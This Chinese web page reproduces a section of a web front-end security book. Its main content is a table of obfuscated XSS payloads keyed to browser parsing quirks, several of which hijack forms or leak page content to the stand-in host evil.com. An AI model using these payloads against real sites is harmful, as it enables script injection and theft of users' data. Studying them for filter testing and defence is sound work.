频道栏目
读书频道 > 安全 > Web前端黑客技术揭秘
6.7.7 更多经典的混淆CheckList
2013-01-23 14:01:42     我来说两句
收藏   我要投稿

本文所属图书 > Web前端黑客技术揭秘

Web 前端的黑客攻防技术是一门非常新颖且有趣的黑客技术,主要包含Web 前端安全的跨站脚本(XSS)、跨站请求伪造(CSRF)、界面操作劫持这三大类,涉及的知识点涵盖信任与信任关系、Cookie安全、Flash 安全、...  立即去当当网订购

我们只能说通过大量的模糊测试可以发现很多奇怪的XSS利用点,浏览器之间存在大量细微的差异,很难总结出完美的规律。下面的CheckList来自sogl的汇总,有些虽然已经无效,但却很有参考意义,我们做了简短的描述,如表6-4所示。

表6-4  经典的混淆XSS利用点


简要说明 XSS利用点
非IE实体编码 <a href="javascript&colon;alert&lpar;1&rpar;">click</a>
非IE实体编码(变异) <a href="javascript&#X0000000000000000003A(alert(1))">click</a>
Opera data协议base64 <a href="data:image/svg+xml;base64,<<<<PHNj cmlwdCB4bWxucz0iaH你R0cDovL3d3d y53My5vcmc妹vMjAwMC9zdmciPmFsZXJ0KDEpPC9zY3Jpc HQ+><>">click</a>
Firefox data协议(空格分隔) <a href="data:D;base 64,PHNj cmlwdD5hbGV ydC hkb2N1bWVudC5 kb21haW4pP C9zY3JpcHQ+ ">click</a>
   
Firefox feed协议 <a href="feed&colon;feed&#58javascript:alert(1)">click</a>
IE 6/IE 7 <base href=vbscript&#0000058ABC/><img/src=alert(1)>
标签优先级特性 <xmp><img alt="</xmp><img src=xx:xx onerror=alert(1)//">
非IE注释 <noembed><!--</noembed><svg/onload=alert(1)+l-->
IE条件注释bug <!--[if<img src=xx:xx onerror=alert(1)//]-->
Chrome <meta http-equiv="refresh" content="-.00e00,javascript&colon;alert(1)">
Firefox <meta http-equiv="refresh" content=",data:D,<script>alert(1)</script>">
IE 6/IE 7 URL注入 <meta http-equiv="refresh" content="..... url=http://www.evil.com/?&#59url=javascript:alert(1)">
WebKit code属性 <embed code=\\\//evil.com/xss.swf allowScriptAccess=always>
Firefox jar-uri <iframe src=jar://evil.com/xss.jar!1.html >
formaction <isindex formaction=javascript:alert(1) type=image src=[图片地址] >
 续表 
简要说明 XSS利用点
新属性 <iframe srcdoc="<script>alert(1)</script>"></iframe>
SVG特性 <svg><script/xlink:href=data:;;;base64,YWxlcnQoMSk=></script>
SVG特性 <svg><script>//&#8232&#97&#108&#101&#114&#116&#40&#49&#41</script>
Opera SVG <svg><image/filter='url("data:image/svg-xml,%3cscript%20xmlns=%22http://www.w3.org/2000/svg%22>alert(1)%3c/script>")'>
Firefox新标签新属性 <math xlink:href="javascript:alert(2)"><maction actiontype="statusline#http://evil.com">click </maction></math>
IE解析bug <input value="<script>alert(1)</script>" ` />
非IE解析bug <input value/="><script>alert(1)</script>" />
IE解析bug <img src=http://evil.com/?xss=`123 alt="`><body/onload=alert(1)//" >
IE <img src=``onerror=alert(1) >
浏览器bug <img src= alt=" onerror=alert(1)//" >
IE解析bug <img src=`<body/onload=alert(1) />
IE data协议(CSS里) <style>@\[0x0b]\ \ I\mpor\t[0x0b]da[0x0a]ta:,%2A%7b%78%3A%65%78%70%72%65%73%73% 69%6F%6E%28%77%72%69%74%65%28%31%29%29%7D;
IE诡异闭合 <!DOCTYPE html><style>*{background:\\\url(http://evil.com /?;x_:expression(write(1))
IE诡异闭合 <div style="font-family:}0=expression(write(1))">
链接劫持 <base href="//evil.com?"
表单劫持 <input value="123 >>[inj]"formaction=//evil.com <<[inj] ">
表单劫持 <button form="test" formaction="//evil.com">
内容窃取(需要点击) <form/action=//evil.com><button><textarea/name=/>
IE内容窃取 <img src=`//evil.com?
IE<9 vbscript <body/onload=\\\vbs\\\::::::::alert+'s'+[000000]+'g'+[000000]+'l'::::::::>
SVG解析异常 <svg><script>a='<svg/onload=alert(1)></svg>';alert(2)</script>
Chrome异常 <body/onload=throw['=alert\x281\x29//',onerror=setTimeout]>
Chrome诡异闭合 <body/onload="$})}}}});alert(1)({0:{0:{0:function(){0({">
Firefox E4X <script>location=<>javas{[function::[<>status</>]]}cript:alert%281%29</></script>
IE location script>-{valueOf:location,toString:[].pop,0:'vbscript:alert%281%29',length:1}</script>
Opera按空格执行 <link href="javascript:alert(1)" rel="next">
Firefox <applet code=javascript:alert(1)>
Firefox <embed src=javascript:alert(1)>
WebKit <svg><oooooo/oooooooooo/onload=alert(1)>
 

除了这些,大家可以参考html5sec.org网站上整理的CheckList,还有一个由Gareth Heyes主导构建起来的在线fuzzing平台(shazzer.co.uk),非常不错。我们可以加入这个平台,构建自己的fuzzing规则,利用自己的各种浏览器进行模糊测试,从shazzer中能发现大量的XSS利用点。

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力  
上一篇:6.7.6 突破URL过滤
下一篇:6.8 其他案例分享——Gmail Cookie XSS
相关文章
图文推荐
排行
热门
最新书评
特别推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站